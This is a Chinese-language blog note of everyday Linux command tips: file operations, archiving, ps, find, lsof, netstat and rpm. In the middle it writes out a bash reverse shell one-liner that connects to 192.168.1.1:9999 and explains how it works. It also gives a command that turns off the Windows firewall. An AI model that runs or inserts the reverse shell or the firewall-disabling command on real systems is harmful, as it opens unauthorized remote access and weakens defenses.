关于Linux的小笔记

basic命令

touch 新建文件  mkdir新建文件夹  rmdir 删除文件夹  rm - 删除文件

-r 递归  -f 强制

>1.txt 定向到文件中(覆盖)  >>追加到文件中

tar -cvf filename.tar filename1 filename2 ... (打包命令)

tar -xvf filename.tar dirname(解包命令)

unzip filename.zip(解压)

zip -r(递归打包,否则只有文件夹) filename.zip dirname(压缩)

Wordcount wc 统计文件多少个字用 --line统计多少行

ls - l 列表 -所有 -t时间 -r倒叙(小到大,早到晚)  -R(大到小,晚到早)

ps命令 -a 显示所有进程 -c 显示进程的真实名称 -f 显示程序间的关系 -u 指定用户的所有进程 -e 显示环境变量 -aux 显示所有包含其他使用者的进程

 

命令查看内存前N个

ps -aux | sort -k4nr | head -N

命令详解:

1、head:-N可以指定显示的行数,默认显示10行。

2、ps:参数a指代all——所有的进程,u指代userid——执行该进程的用户id,x指代显示所有程序,不以终端机来区分。

 

在/目录下查找文件名 

find / -name flag 

linux 下查看端口号所使用的进程号: 

lsof -i:端口号

linux 下查看进程占用端口:

1)查看程序对应的进程号: ps -ef | grep 进程名字

2)查看进程号所占用的端口号: netstat -nltp | grep  进程号

        ubuntu :查看进程占用端口号:netstat -anp | grep pid

 

bash -i >& /dev/tcp/192.168.1.1/9999 0>&1

bash -i代表在本地打开一个bash

/dev/tcp/Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接

>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,

就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。0表示标准输入 1标准输出 2标准错误输出

uname -r 显示操作系统的发行版号

4.8.0-58-generic

4为主版本,8为次版本,0为次版本修改次数,58是内核编译次数

tcpdump -i 网卡 port 端口号 监听端口数据

ctrl + d 退出shell  ctl + l 清屏 ctrl + z 挂起

Ln -s 源文件名 软连接名 建立软连接 

Ln 源文件名 硬连接名 建立硬连接

防火墙规则:

关闭防火墙

netsh advfirewall set allprofiles state off

重启网络

service NetworkManager restart

RPM查询软件信息

查询已安装软件的信息

-q:仅查询,后面接的软件名称是否有安装;

-qa:列出所有的,已经安装在本机linux系统上面的所有软件名称;

-ql:列出该软件所有的文件与目录所在的完整文件名(list)

-qR:列出与该软件有关的相依团建所含的文件(Required的意思)

RPM安装软件信息

-i:安装指定的.rpm文件

-v: 查看更细部的安装信息画面

-h: 以安装信息列表显示安装进度

-U:用指定的.rpm文件的升级同名包

猜你喜欢

转载自www.cnblogs.com/pass-A/p/11132330.html